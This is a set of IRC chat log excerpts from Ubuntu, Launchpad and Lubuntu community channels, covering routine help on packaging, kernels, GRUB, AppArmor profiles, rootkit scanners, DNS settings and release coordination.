[21:05] <lifeless> mars: haha!
[21:05] <lifeless> my google fu is strong
[21:06] <mars> I'm assigned to fix that bug.  That's embarrassing.
[21:06] <jml> as the summer sun bids London its blushing farewell, so to must I bid farewell to you
[21:07] <jml> g'night all
[21:07] <lifeless> ciao
[21:07] <mars> night jml
[21:19] <mars> lifeless, btw, I added you as a reviewer on the test_on_merge.py fixes, along with mwh.  I hope that gives us some good coverage.
[21:20] <lifeless> fingers crossed ;)
[21:33] <jam> jml: landing https://code.edge.launchpad.net/~jameinel/launchpad/lp-serve-cleanup/+merge/30542 would be very nice. I don't think I've set anything up for actually landing code.
[21:39] <lifeless> jam: ec2land
[21:39] <lifeless> in bin
[21:40] <jam> lifeless: I have a strong feeling that requires more than just running a single script
[21:40] <jam> such as.... having an ec2 account
[21:40] <jam> etc
[21:40] <jam> but I can give it a shot
[21:46] <lifeless> it should be all documented on the wiki
[21:47] <james_w> jam: do you have PQM access?
[21:47] <jam> james_w: not if it requires anything resembling configuration
[21:47] <james_w> jam: it requires your GPG key being allowed to commit to LP branches IIUC
[21:48] <jam> (meaning I've never been set up to contribute to lp, etc.)
[21:48] <jam> consider me as a community member wrt launchpad code
[21:48] <james_w> just don't want you setting all this up and waiting 3 hours only to be told that you don't have permission to do it :-)
[22:02] <jam> james_w: right, and I imagine that would happen. Not to mention the patch mentioned is a comment only change
[22:04] <lifeless> that would be painful
[22:14]  * mtaylor trolls: it should not be painful to contribute code
[22:25] <mwhudson> jam: John Arbash Meinel <jameinel@falco-lucid>  ? :)
[22:26] <mwhudson> jam: would you like me to land the branch?
[22:26] <jam> mwhudson: sure. Though I did at least correct my whoami since then :)
[22:26] <jam> that would be very kind of you
[22:27] <mwhudson> ok
[22:37] <Ursinha> lifeless, hi
[22:37] <lifeless> hi
[22:37] <Ursinha> lifeless, I made some changes in the bzr-pqm plugin, but only in the lp-land part
[22:38] <Ursinha> is that correct to say that the changes, even if only applicable to launchpad process, belong upstream?
[22:38] <lifeless> sure
[22:38] <mwhudson> jam: the tests are running
[22:38] <Ursinha> lifeless, cool
[22:38] <lifeless> I wasn't aware folk still used it :)
[22:38] <jam> mwhudson: thanks
[22:39] <Ursinha> lifeless, what's the process to have it upstream?
[22:39] <lifeless> ping jam
[22:39] <jam> I guess I'll find out sometime tomorrow if it lands :)
[22:39] <Ursinha> hahahaha
[22:39] <jam> pong lifeless
[22:39] <mwhudson> jam: yeah
[22:39] <Ursinha> jam, so :)
[22:39] <lifeless> jam: I was telling Ursinha to ping you :)
[22:40] <Ursinha> jam, what do I have to do to have my branch merged? propose to merge to bzr-pqm trunk on lp?
[22:40] <jam> Ursinha: sounds reasonable to me
[22:41] <Ursinha> jam, cool, I'll do that then :) thanks
[22:41] <jam> Ursinha: go ahead and ping me here with the merge proposal url, just in case there are problems with the reviewer setting of bzr-pqm
[22:42] <Ursinha> jam, sure, thanks
[23:37]  * thumper gets another coffee
[23:43]  * rockstar  hates at pagetests
[23:53]  * benji hesitates before rebooting his server with 997 days uptime.
[23:53] <lifeless> benji: nooo
[23:54] <lifeless> 3 more days man
[23:54] <benji> lol
[23:54] <lifeless> 3 more days
[23:54] <benji> LOL
[23:55]  * rockstar is with lifeless
[23:55] <rockstar> It's not often you get 1000 days uptime.
[23:56] <rockstar> (Mostly because you should be rebooting more often to get those kernel updates)
[23:57] <benji> yeah, this thing is running 7.04 and not even the latest kernel
[23:59] <wgrant> Erm, 7.04 has been unsupported for almost two years...
[23:59] <lifeless> heh
[23:59] <lifeless> so - suspend it
[23:59] <lifeless> wait three days
[23:59] <lifeless> resume and reboot


[18:45] <Kilos> elacheche dont forget the meeting here wednesday night please
[18:46] <Kilos> ill be in hospital for that op i think unless they postpone again


[00:39] <binarymutant> does google chrome literally dump a 'core' in $HOME?
[00:40] <binarymutant> this is like the 10th time i've seen 'core' in my home, but idk what it's from
[00:51] <chris4585> uh, I don't think I've ever seen that before
[00:52] <chris4585> binarymutant, this may help? http://www.justlinux.com/nhf/Filesystems/Core_Dump_Files_and_What_To_Do_About_Them.html
[00:59] <binarymutant> I know how to delete it :/
[01:00] <binarymutant> oops
[01:00] <binarymutant> killed the wrong window
[01:04] <wrst> binarymutant: you really need an always on client ;)
[01:05] <binarymutant> yeah but it's too costly
[01:05] <binarymutant> and my laptop is usually on
[01:05] <wrst> you need Aaron raspberry pi
[01:05] <alyawn> binarymutant, you can do `file ~/core` to find out what produced it
[01:05] <alyawn> IIIRC
[01:06] <wrst> dumb autocorrect
[01:06] <binarymutant> alyawn: really?
[01:06] <binarymutant> I thought file would just tell me it's a dump
[01:06] <alyawn> yes
[01:06] <binarymutant> I'll try that next time I see it
[01:07] <binarymutant> thanks
[01:07] <alyawn> np..
[01:08] <alyawn> then you can of course `gdb -c core /usr/bin/$BADEXE` to debug the program and find out why it's unhappy
[01:10] <binarymutant> I must be using my tools wrong
[01:11] <binarymutant> or maybe not
[01:12] <binarymutant> <- has only ever run `gdb app`
[01:13] <alyawn> if the binary has symbols, then you can run it with the core dump to find the offending code
[01:13] <alyawn> maybe it's your IRC client that's core dumping :)
[01:14] <binarymutant> I need cat5, dumb wifi
[01:15] <wrst> binarymutant: I have a little arch server running on wifi and it never disconnects what type of card do you have?
[01:16] <binarymutant> intel 3945, but my router is really far away
[01:17] <wrst> ahh
[01:17] <wrst> dd-wrt repeater!
[01:18] <binarymutant> I've got a dbus bridge beside me, but I think I need to move it closer to the router
[01:18] <binarymutant> err dlink not dbus heh
[01:19] <wrst> :)
[01:27] <altg3k3> hey guys
[01:29] <alyawn> hey
[01:29] <wrst> hello
[01:29] <altg3k3> what's up?
[01:41] <chris4585> whiskey, thats whats up
[03:37] <alyawn> so a server I'm working (ubuntu server 12.04) seems to have rebooted itself....
[03:37] <alyawn> is there a log or the like that could shed light as to why?
[03:40] <binarymutant> /var/log/ .. something
[03:41] <binarymutant> kernel.log messages.log syslog.log errors.log one of those
[03:42] <binarymutant> how does a server reboot itself though? ._O
[03:43] <alyawn> I"m thinking power failure, but not sure
[03:43] <alyawn> the logs go from everything normal to boot
[03:44] <binarymutant> power flicker?
[03:44] <alyawn> I have on UPS, but I guess it could have failed
[03:44] <binarymutant> strange
[03:44] <binarymutant> there should be a /var/log/old/
[03:44] <alyawn> no kernel panic in log and it usually doesn't reboot on kernel panic
[03:44] <binarymutant> yeah it just hangs
[03:45] <binarymutant> if it was a hardware thing, idk if there would be a log
[03:45] <alyawn> maybe the UPS flaked
[05:01] <chris4585> question I've wondered forever... the text in arch that pops up during boot, where is that logged?
[05:02] <Unit193> /var/log/boot.log for me.
[05:29] <chris4585> no file :/
[05:30] <chris4585> I'll figure it out eventually, thanks
[05:31] <binarymutant> chris4585: /var/log/boot
[05:34] <binarymutant> it's specified in /etc/rc.d/functions and /etc/logrotate.d/bootlog
[05:43] <chris4585> binarymutant, awesome, thanks
[13:04]  * xTEMPLARx is back from the dead...
[14:28] <alyawn> ^ not me... still a zombie
[14:36] <wrst> xTEMPLARx: glad you are no longer amongst the dead
[14:38] <xTEMPLARx> why's that wrst?  Now you and I are competitors to stay alive amongst the walking dead alyawn
[14:39] <alyawn> I expect to be cured of my affliction a week from tomorrow :)
[14:39] <alyawn> so stay indoors until then :)
[14:40] <alyawn> surprisingly, becoming undead hasn't affected my ability to chat in IRC.... odd
[14:40] <wrst> ha ha
[14:40] <wrst> xTEMPLARx: i stayed up last night looking at guitar bodies and finishing options, thanks!
[14:41] <xTEMPLARx> That'll learn ye!
[14:41] <xTEMPLARx> www.guitarfetish.com
[14:41] <xTEMPLARx> you're welcome
[14:43] <wrst> yeah thanks xTEMPLARx!
[14:46] <wrst> this looks itneresting: http://www.guitarfetish.com/GFS-Solderless-Cable-System_c_371.html
[14:48] <xTEMPLARx> interesting, but I never trust solderless electrical joints for stuff like this
[14:49] <wrst> me either
[14:49] <wrst> why i said it looked itneresting :)
[18:36] <vychune> binarymutant: ping
[18:37] <vychune> wb lol
[18:37] <vychune> binarymutant: the qucikbooks software is 64 bit :/ that's what has been the problem the whole time
[19:04] <binarymutant> dang
[19:04] <binarymutant> what about the Suse? did you get that installed?
[19:05] <binarymutant> vychune: & and if so what's that like?
[19:05] <vychune> yes its up
[19:06] <vychune> it's running nicely
[19:06] <vychune> hasnt kenerl panic
[19:06] <vychune> paniced
[19:06] <binarymutant> that's good news, does suse use gnome?
[19:06] <binarymutant> I've never tried it, ever
[19:07] <binarymutant> I don't even know what kind of package manager they use
[19:07] <vychune> but you know i heard that you can run 32 bit on 64 and ok, is that always the case?
[19:07] <vychune> rpm
[19:07] <vychune> i'm on KDE
[19:07] <vychune> s/i'm/it's
[19:07] <chris4585> binarymutant, the main version is KDE (which is nice), but there is a gnome edition
[19:08] <chris4585> last I tried it..
[19:08] <binarymutant> for some reason I thought Suse employees were the creators of gnome :/
[19:08] <vychune> wash your mouth with soap
[19:09] <binarymutant> idk I'm almost positive...
[19:10] <binarymutant> Miguel De Icaza I think works for Novell
[19:10] <vychune> hmm ok
[19:11] <vychune> >>> i heard that you can run 32 bit on 64 and ok, is that always the case?
[19:11] <binarymutant> ah and Federico Mena works for Red Hat, so I guess RH and Suse were like the creators of gnome I guess
[19:12] <binarymutant> vychune: idk I think it depends on what system calls/functions the software uses
[19:12] <binarymutant> ^^ but I could definitly be wrong about that too
[19:12] <chris4585> vychune, I'm not sure, but I do believe not every 64bit processor is backwards compatible? but most are...
[19:12] <chris4585> I actually want to look that up now
[19:14] <binarymutant> it's a "I could be wrong" type day :D
[19:14] <vychune> lol
[19:14] <vychune> thats actually what i thought
[19:14] <alyawn> typing "file $binary_name"  will tell you if it's 32 or 64 bit
[19:14] <vychune> i know it 32
[19:15] <vychune> it's
[19:15] <alyawn> and you can run 32bit apps on a 64 bit os..
[19:15] <vychune> bad typing day
[19:15] <alyawn> if you install the 32bit libraries
[19:15] <vychune> dang
[19:15] <alyawn> I believe the package is commonly called ia32-libs or the like
[19:15] <vychune> i'm having trouble finding the 64s
[19:16] <alyawn> for a particular app?
[19:17] <vychune> librariues
[19:17] <alyawn> oh... you're OS has to be 64bit
[19:17] <vychune> it is
[19:19] <chris4585> alyawn, was my last statement correct, because so far all I can find is x86-64 (which I know is backwards compatible)
[19:19] <alyawn> if it's an x86 processor, then yes, it has to be 32bit compatible
[19:19] <alyawn> http://maketecheasier.com/run-32-bit-apps-in-64-bit-linux/2009/08/10
[19:22] <binarymutant> hmm
[19:28] <vychune> indeed lol
[19:30] <vychune> anybody know whwere they stash old rpms?
[19:31] <binarymutant> prolly in /var somewhere
[19:32] <vychune> no i mean older versions
[19:32] <vychune> to dl
[19:36] <vychune> nvm found em ty
[19:38] <vychune> anybody in GOLUM?
[19:46] <vychune> quick question is there a way to donatye to the loco? lol
[19:53] <vychune> >.>
[20:00]  * vychune thinks it got quiet
[20:01] <vychune> lol
[20:01] <vychune> see you guys and thank you so much for your help
[21:10] <netritious> think I'm addicted to packaging
[22:03] <binarymutant> netritious: it's fun stuff
[22:05] <netritious> binarymutant: it helps to know what you are doing...still working on that.
[22:06] <binarymutant> you've read the debian policy and new maintainers guide?
[22:06] <netritious> but i'm getting better at it. having vm's and snapshots helps a bit
[22:07] <netritious> some.
[22:07] <binarymutant> pbuilder is a better chroot for the vm-less
[22:09] <netritious> dh_make -f ../example-upstream-1.0.tar.gz
[22:09] <netritious> that helped a lot lol
[22:10] <netritious> was finally able to package libdnet (libdumbnet1 on debian) after using dh_make like that
[22:11] <netritious> right now working out the build-deps for barnyard2
[22:12] <binarymutant> once you get comfortable you can drop dh_make
[22:13] <netritious> also working on a client website during waits on snapshots and pkg build attempts
[22:14] <netritious> keeping good logs on lintian and backups of debian/* for each src
[22:15] <netritious> i did all the debian/* files by hand the first time around.
[22:17] <binarymutant> ^ best way to do it
[22:17] <binarymutant> although dh_make is really good for first steps
[22:17] <netritious> using dh_make -f is in the new maintainers guide for building packages from upstream src's which is why I'm using it though.
[22:17] <binarymutant> what's the website?
[22:18] <binarymutant> netritious: yeah "new" maintainers guide, not policy
[22:18] <netritious> no domain atm...real time sports stats
[22:18] <binarymutant> that's cool, php scraping another site for scores and stats n stuff?
[22:19] <netritious> nah xml to json to dom
[22:19] <binarymutant> thats cool
[22:21] <netritious> using sencha touch 2 libs...MVC in js is weird though
[22:21] <binarymutant> never heard of that mvc
[22:22] <binarymutant> doesn't seem open :/
[22:23] <netritious> it is...gpl2 or 3
[22:23] <netritious> i think
[22:24] <binarymutant> ah dual, it's got a faq
[22:24] <binarymutant> mvc's are cool but I never really got into them
[22:25] <binarymutant> did some rails stuff a few times but meh
[22:26] <netritious> lots and lots of files but if done right easy to add/change/extend and easier coming behind someone else
[22:26] <binarymutant> I can see that
[22:28] <netritious> i don't have a preference...it's all code to me
[22:29] <binarymutant> +1
[22:34] <binarymutant> netritious: do you use vcs?
[22:34] <binarymutant> like git, etc.
[22:34] <netritious> svn
[22:35] <binarymutant> nothing else?
[22:35] <netritious> i have a git account and some readme for a huge project i never seem to get around starting lol
[22:35] <binarymutant> I've been looking for a way to update svn, git, hg, bzr, and any other vcs's I have all at the same time
[22:36] <binarymutant> I never could code it myself :/
[22:36] <binarymutant> or maybe I just got lazy & dropped the project, but I need something to do all that
[22:36] <netritious> i consume git resources but only have used cvs and svn on projects i coded for
[22:37] <netritious> *I've coded for
[22:38] <netritious> that would be a neat tool binarymutant
[22:38] <binarymutant> yeah, still looking for it though
[23:05] <wrst> wb binarymutant :)
[23:12] <binarymutant> ty ty
[23:13] <binarymutant> wish there was a way to add X fonts without having to restart X
[23:18]  * wrst is using kdenlive, it hasn't crashed yet...
[23:20] <wrst> binarymutant: i'm thinking dealing with hd video on a laptop without a super graphics card may not be the best idea :)
[23:25] <binarymutant> ?
[23:25] <binarymutant> oh editing super hd? yeah prolly
[23:25] <binarymutant> I was about to say my nouveau driver can play hd just fine
[23:30] <wrst> this is just 720
[23:31] <binarymutant> I think your intel card should be able to do it
[23:31] <binarymutant> idk anything about editing video though :/
[23:31] <binarymutant> I know encoding though :D
[23:37] <chris4585> editing isn't fun... I have some software that came with my brothers roxio game capture device which is surprisingly good
[23:37] <chris4585> I've also messed with sony vegas and I thought it was insanely difficult


[00:04] <lynorian> wxl I would really hope the testing tracker is not run on raid 0
[00:05] <lynorian> then you could lose all your results way too easily
[11:26] <tsimonq2> wxl: infinity marked 16.04.1 as ready because of our testing
[14:58] <tsimonq2> wxl: global release announcement kicked off
[14:58] <tsimonq2> wxl: when you give me the OK, I'll post all the things
[16:46] <wxl> tsimonq2: oh cool. did the global announcement go out?
[16:46] <tsimonq2> WALTER! :D
[16:47] <tsimonq2> wxl: yep, global is good to go
[16:47] <tsimonq2> my finger is on the trigger
[16:47] <wxl> then go for it
[16:47] <tsimonq2> wxl: tell me when to pull it XD
[16:47] <tsimonq2> \o/
[16:47] <wxl> the global announcement is the sign we're good to go
[16:47] <tsimonq2> wxl: so in the future are you okay with me releasing if the images are marked ready and global is out?
[16:48] <tsimonq2> or would you rather me continue to wait for you>
[16:48] <wxl> i'd say at least for the near future, wait for me
[16:48] <wxl> in general, it's probably fine, but i just want to double check things
[16:48] <tsimonq2> alright
[16:49] <tsimonq2> I'm adding teo bugs to our fixed bug list then I'm pulling it
[16:54] <tsimonq2> wxl: all done :)
[16:54] <wxl> nice thx
[16:55] <wxl> just to be sure: blog, twitter, reddit?
[16:55] <tsimonq2> yup
[16:55] <tsimonq2> all three
[16:55] <wxl> you're the man
[16:56] <tsimonq2> 23 hours and counting :)


[05:41] <Peedy2495> I found a incomplete apparmor policy for Libreoffice @22.04. It isn't allowed to use the at-spi socket. Added: '  owner /{,var/}run/user/*/at-spi/bus*  rw,' in /etc/apparmor.d/usr.lib.libreoffice.program.soffice.bin. Is anyone here involved in maintaining apparmor profiles?
[05:43] <Peedy2495> Libreoffice isn't allowed to use foreign files from removable storage via apparmor policy. Added: '  /media/**                             rw,' as last entry in /etc/apparmor.d/usr.lib.libreoffice.program.soffice.bin


[19:41] <willwh> hmm
[19:41] <willwh> we 're running thinkpad's in the office
[19:41] <willwh> not hardware form that list though
[19:41] <willwh> but it sure does make me nervous :/
[19:46]  * willwh waves to genii
[19:46] <willwh> where is the coffee at? :D
[19:47] <genii> In ma tummy!
[19:47]  * genii makes a fresh pot and slides willwh a topped-up mug
[19:47] <willwh> tyty
[19:48] <willwh> I hope you're well sir
[19:48] <willwh> it took me ~7 years, but finally working for a shop that runs linux infra, and all of the dev staff too......
[19:48] <willwh> a dream come true ;)
[19:48] <willwh> been here a month so far, and, it's amazing! :D
[19:49] <willwh> i.e. servers, workstations, etc -> all debian based (yee haw)
[19:53] <genii> Very nice!
[19:54] <genii> I'm pretty sore from sleeping on my nephew's Boy Scout cot over Christmas and then shovelling snow and chipping ice today. But otherwise good :)
[19:54] <genii> At least there's coffee, and later, beer.
[19:57] <willwh> yes, yes, yes
[19:57] <willwh> :D


[23:19] <sebsebseb> lnostdal: yeah since Ubuntu is based on Debian,  don't get those changes in it :)
[23:19] <HotTuna> erUSUL, isnt it /etc/modprobe.d/blacklist
[23:19] <AAA> blue_anna  it's been a while since I did an iptables stuff, but I'm sure you can have it do DNS lookups as much as you want. however, those are going to get very expensive, very quickly. you probably want a local caching server
[23:19] <HotTuna> AAA, ur here!
[23:19] <blue_anna> AAA, you used to be able to add these to hosts or hosts.deny but something's changed .. it doesn't work at all in hosts.deny, and the hosts file seems to ignore whole domain subnets like "foobar.com"
[23:19] <erUSUL> HotTuna: read the message ubottu sent you
[23:20] <HotTuna> erUSUL, thanks been using /etc/modprobe.d/blacklist so it should work for this, but thanks.
[23:20] <HotTuna> AAA, I figured out part of my nic problem from last night the wrong module gets loaded at boot
[23:21] <AAA> HotTuna  cool. so you are getting better speeds?
[23:22] <HotTuna> AAA, steady 10-12 with occasional 50+
[23:22] <diogo_79> i have a laptop with 2 fans and reaching 55ºC the first fan starts, can i define when the fans should work when reaching a given temperature
[23:22] <HotTuna> AAA, its much better than it was....
[23:22] <diogo_79> can this be posible with ubuntu
[23:22] <HotTuna> AAA, i should probably file a bug
[23:22] <ddrj> AAA, i got my wireless card working without compiling the driver! turns out my user didn't have wireless priveleges
[23:23] <AAA> diogo_79  I've done something similar recently. lemme think what it was
[23:23] <ddrj> <--- guy from yesterday who was asking about compiling the driver without gcc xP
[23:23] <AAA> ddrj  d0h.  nice
[23:23] <ddrj> ty
[23:23] <diogo_79> how you accomplish that
[23:23] <AAA> diogo_79  lmsensors I believe it was
[23:25] <AAA> diogo_79  lm-sensors is the package
[23:25] <HotTuna> AAA, im wondering if something is wrong with the ability to negotiate 100mbs
[23:26] <AAA> HotTuna  it looked like the device kept coming up, over and over.  something is fishy, don't know what though
[23:27] <HotTuna> AAA, yea im over it as of..... NOW anyway
[23:27] <AAA> HotTuna  you could always upgrade your kernel, or try a different kernel
[23:27] <HotTuna> AAA, I didn't see the kernel we talked about from the 9.10 and I think i got the newest?
[23:27] <AAA> HotTuna  dude, there is always a newer kernel ;)
[23:28] <HotTuna> AAA, i dont see a newer one in apt :\
[23:28] <AAA> HotTuna  I think if you put the backports repo in your sources.list you should see older kernels
[23:29] <HotTuna> !backports
[23:29] <HotTuna> AAA, do you remember it was 31-14 right?
[23:29] <Giles1> QCad is missing fonts since upgrade to lucid, (its think its a QT3 application)
[23:31] <AAA> HotTuna  not sure.  ya know, you _can_ pull the latest kernel and build it from source.  if you've never done that, then I highly reccomend it
[23:31] <HotTuna> AAA, sounds like asking for trouble
[23:31] <AAA> HotTuna  it's a learning experience
[23:32] <Daekdroom> System breaking teaches you how to recover it
[23:32] <HotTuna> AAA, yea i just dug a ditch for 8 hours I dont feel like learning heh
[23:33] <Aemaeth> was ditch successful ?
[23:33] <HotTuna> Aemaeth, yea, got the pipe installed and pvc-cemented together
[23:33] <AAA> HotTuna  heh, understood. keep it in mind for a rainy day.  you should be able to find a different kernel than you have now for testing
[23:34] <HotTuna> AAA, I added the karmic backports to my apt and updated but im not seeing anything
[23:34] <HotTuna> what else do I need to do to search for 9.10 kernels?
[23:34] <AAA> HotTuna  apt-cache search linux-image
[23:35] <HotTuna> AAA, if im at 32-22 and there is a 21 should I go back 1 to try ?
[23:35] <Aemaeth> what can that new flash virus i heard about do to linux?  i heard anything running adobe is at risk, since there are alternatives, i figure the open programs would be secure, roit?
[23:36] <AAA> HotTuna  I would
[23:36] <diogo_79> aaa i have install lm-sensors how can i control the fans of the laptop
[23:36] <hansen> what is the policy for providing new/fixed packages for existing ubuntu versions? Only security fixes or general bugfixes allowed?
[23:36] <AAA> HotTuna  it will just add the kernel to your grub menu, you _shouldn't_ get stuck out
[23:36] <HotTuna> AAA, um, how do I get in to grub cause i dont see a grub list on bootup right now
[23:36] <hansen> gpgsm in ubuntu lucid in broken, and I wonder if there is any chance there will be a new package with gpgsm 2.0.15 in it
[23:37] <Aemaeth> you don't have grub?
[23:37] <HotTuna> I do
[23:37] <HotTuna> I just dont think I see anything on bootup
[23:37] <AAA> diogo_79  I don't have it installed here, and I honestly don't recall exactly what I did.  lemme check it out
[23:37] <dody> hello can anyone help me
[23:37] <HotTuna> AAA, appears i got 21 installed alrdy also
[23:37] <blue_anna> ow can I detect if a picture is black and white *without destroying matches/non-matches or using a prebuilt mask (as per the solutions at http://www.imagemagick.org/discourse-server/viewtopic.php?f=1&t=11297)
[23:38] <HotTuna> sorry, but how do I select the kernel on boot?
[23:38] <AAA> HotTuna  boot into it and test.  I think if you hit esc or something you'll get the grub menu
[23:38] <HotTuna> ok
[23:38] <HotTuna> brb then
[23:38] <maco> AAA: shift, if its 9.10 or newer
[23:39] <AAA> maco  I was gonna tell him to google that before he rebooted :(
[23:39] <Aemaeth> since i originally dual booted i suppose that's why grub would come up and not him
[23:39] <diogo_79> ok
[23:40] <Aemaeth> speaking of that, any way to recover windows 7 partition from ubuntu? I have a recover partition, and all the files in windows appear to be intact, but it just won't load the OS after i accidentally kicked it
[23:40] <blue_anna> AAA, dnsmasq works fine, thank you from earlier
[23:41] <AAA> blue_anna  cool
[23:41] <AAA> dody  what is your issue?
[23:42] <dody> I have recently got a DELL Vostro with ubuntu 8.10 install and when I ran the update manager and install updates. But when I restarted the laptop it would not boot up. Any ideas?
[23:42] <DJ_HaMsTa> how can i switch from one workspace to the other without the fancy compiz ?
[23:42] <blue_anna> DJ_HaMsTa, you mean, like the workspace applet?
[23:42] <dowxp> dody- how far does the boot get?
[23:42] <AAA> dody  did the updates complete successfully? how long after the updates finished did you reboot?
[23:43] <DJ_HaMsTa> blue_anna, i have 4 windows i can swith to. I dont know what the workspace applet is.
[23:43] <IdleOne> DJ_HaMsTa: ctrl-alt-arrow keys
[23:43] <mbelo> hey, can someone help me configuring the microphone on this laptop?
[23:43] <DJ_HaMsTa> IdleOne, thank you!
[23:43] <IdleOne> welcome
[23:43] <dody> it gets to where the screen says ubuntu with the loading bar and stops an 1/8 of the way and will not go further
[23:44] <dody> yes it did
[23:44] <blue_anna>  DJ_HaMsTa on the panel, right click, select add to panel, and find the "change workspaces" applet (I don't know the exact name in english, sorry)
[23:44] <DJ_HaMsTa> blue_anna, IdleOne solved it =)
[23:45] <kaflowski> I'm trying to scan my system for rootkits. Would this page work for ubuntu? http://www.howtoforge.com/faq/1_38_en.html
[23:45] <dody> when I first ran the update manager it said an error message while loading the update manager
[23:45] <Slart> kaflowski: rkhunter is in the repos, try that
[23:45] <pipo65_> support ubuntu speak spanish
[23:45] <Slart> !es | pipo65_
[23:45] <Daekdroom> !es | pipo65_
[23:46] <pipo65_> ??
[23:46] <kaflowski> thanks Slart
[23:46] <Slart> kaflowski: chkrootkit is also in the repos.. just use synaptic or apt-get to install them for you
[23:47] <kaflowski> Slart: and that scans for trojans and worms as well?
[23:47] <SirBlaBla> Hi, I have this external HDD. I can read/write on Ubuntu, but on WindowsXP i can not access it. I knot it is a FAT32 filesystem, but I think I may have deleted some kind of windows system folder sometime. Is there any way to get it back on XP?
[23:47] <Esat> Esat
[23:47] <Slart> kaflowski: they scan for a long list of bad things.. I don't know the specifics.. you'll ahve to check the man pages for that
[23:48] <HotTuna> AAA, ;-)
[23:48] <Slart> SirBlaBla: use gparted to look at the drive in ubuntu, see if it's using ext2/3/4, ntfs or fat as file system.. windows only handles fat or ntfs afaik
[23:49] <Slart> SirBlaBla: I don't think you can change the file system while keeping the data.. you'll have to copy it somewhere else and delete the partition and then create a new one
[23:49] <mbelo> could someone help me with my mic? have tried most of the settings and it worked for a little while, but then i used skype and told it that it couldnt change the mixer settings and after that it didnt work anymore.... any ideas?
[23:49] <SirBlaBla> Slart, man!...that's retarded.....it's like 2 TB....will take 4 ever...
[23:49] <AAA> HotTuna  how does it work?
[23:50] <HotTuna> good
[23:50] <jimqode> killall X returns X: no process found on my system even though there is an X server running (I can see it in the output of ps). what is the problem?
[23:50] <HotTuna> btw grub 2 =shift for menu
[23:50] <SirBlaBla> Slart, there got to be a simpler way...
[23:51] <AAA> HotTuna  so you get the speeds you're looking for with the -21 kernel, correct?
[23:51] <Slart> SirBlaBla: ok, best of luck
[23:51] <gartral|p> !swear|hottuna
[23:51] <HotTuna> AAA, no but its bettet]
[23:52] <HotTuna> gartral|p, ?
[23:52] <SirBlaBla> Slart, hehe thanks...
[23:52] <HotTuna> gartral|p, can I help you?
[23:52] <gartral|p> !language | hottuna
[23:52] <HotTuna> what about my language?
[23:52] <HotTuna> idk what you are talking about sir, but I challenge you to a duel.
[23:52] <LjL> (w7hois hottuna
[23:52] <HotTuna> lol.
[23:53] <HotTuna> why does everyone like me
[23:53] <LjL> i whoised the other guy too ;(
[23:53] <Devrethman> Is there a way to permanately change /etc/resolv.conf on a DHCP interface?
[23:53] <HotTuna> LjL, i never swore lol
[23:53] <LjL> HotTuna: yeah, i noticed that
[23:53] <lwizardl> hi
[23:53] <HotTuna> LjL, im thinking he can't read and shift=sh!t for him
[23:53] <Slart> Devrethman: you mean use your own dns server instead of the one supplied by the dhcp server?
[23:53] <mbelo> can someone help me with my mic on this newly installed ubuntu?
[23:54] <jgoggles> Q
[23:54] <gartral|p> Hottuna sorry, I took shift for sh*t... sorry
[23:54] <HotTuna> its cool.
[23:54] <DJ_HaMsTa> how does one end an unresponsive application via shell ?
[23:54] <Devrethman> slart: yeah, UW's are really slow.
[23:54] <LjL> :)
[23:55] <AAA> DJ_HaMsTa  ^c
[23:55] <lwizardl> I was wondering if there is a way to set it so that ay time a disc is inserted into the computer it automatically does one of a preset command. examples MusicCD -> Ripped MP3/FLAC, DVD -> Ripped to AVI/MP4, etc
[23:55] <DJ_HaMsTa> whats ^ ?
[23:55] <AAA> DJ_HaMsTa  ctrl
[23:55] <Slart> Devrethman: there is an option.. I think it's in the dhcp client configuration.. something like "prepend" that lets you specifiy a dns server to use before trying the slow ones
[23:55] <Aemaeth> why does my webcam light turn on after coming back from standby?
[23:55] <DJ_HaMsTa> AAA, oh no no no, the video player is frozen, how can i shut it down ?
[23:56] <Slart> DJ_HaMsTa: kill, pkill, xkill are some popular choices
[23:56] <Aemaeth> ctrl-c
[23:56] <Aemaeth> DJ_HaMsTa,
[23:56] <AAA> DJ_HaMsTa  in another term type $ xkill
[23:56] <Pici> Aemaeth: Likely its just returning power to connected devices.... or its watching you.
[23:56] <Aemaeth> Pici, see, it's the second part of that that worries me
[23:56] <DJ_HaMsTa> AAA, thats sweetttt
[23:56] <Aemaeth> i cover it when i get naked
[23:56] <jgoggles> ha ha
[23:57] <lwizardl> Aemaeth, simple solution if your worried about it, electrical tape over lens
[23:57] <thune3> Devrethman:  /etc/dhcp3/dhclient.conf needs line  "prepend domain-name-servers <IP_ADDRESS>,<IP_ADDRESS>;" (for instance), i alsa remove domain-name-servers from the request list
[23:57] <AAA> DJ_HaMsTa  :) you'll love xeyes then =p
[23:57] <olvap> hi, im doing this on a controller. system(program_name). when i run it, the program is open but the ruby app get freeze until i close the program. any one knows why?
[23:57] <DJ_HaMsTa> xeyes is creepy
[23:57] <olvap> wrong channel
[23:58] <Devrethman> thune3: perfect, thanks.
[23:58] <dody> AAA: so any ideas on what happened on the restart?
[23:58] <mbelo> how do i reset alsamixer?
[23:59] <mbelo> how do i reset alsamixer? sudo /etc/init.d/alsa-utils reset 0 didnt work...
[23:59] <AAA> dody  no I don't.  and I have to split for now, bbl
[23:59] <dody> AAA: ok


[01:45] -lugito:#lubuntu-devel- [rMANUAL91703a545877: Add menu for previous next file] lynorian (Lyn Perrine) committed: https://phab.lubuntu.me/rMANUAL91703a545877
 wxl First attempt by trying `sudo apt install lubuntu-desktop` is a fail. It does bring in a bunch of unexpected packages and then is unable to fully boot after a restart.
[02:38] <wxl> @kc2bez eoan and focal?
 First attempt is eoan
 slow going but I am on number two. `sudo apt install lubuntu-desktop^` the task select
 I can try focal next but it might not be tonight at this rate.
 the tasksel looks more promising in the fact it is installing fewer packages.
[02:45] <wxl> ok well this isn't our HIGHEST priority fwiw
 I get it. it is churning in the background
 @wxl23 @tsimonq2 re when will the change hit the archives: https://github.com/snapcore/snapd/pull/7956#issuecomment-574237263
 @gsilvapt [@wxl23 @tsimonq2 re when will the change hit the archives: https://github.com/sn …], Um you need to ask the Snap team. I realize they answered you but they didn't tell you an anticipated date, which is what you asked for. Only they have control over their own releases.
 Actually, they mentioned their roadmaps in which you can see the expected dates
 Which are outdated, which they admitted
 Ah, okay, that's different than.
[21:37] <wxl> woo hoo GRUB supports LUKS2! https://github.com/calamares/calamares/issues/1099#issuecomment-574355422
[22:16] <wxl> @Gian hey what's up?
 Sorry, I thought this was the main channel
[22:27] <wxl> nope
[22:27] <wxl> !support
[22:27] <wxl> ^ that is
[22:28] <kc2bez> We also have
[22:29] <kc2bez> !offtopic
[22:29] <kc2bez> for offtopic discussion
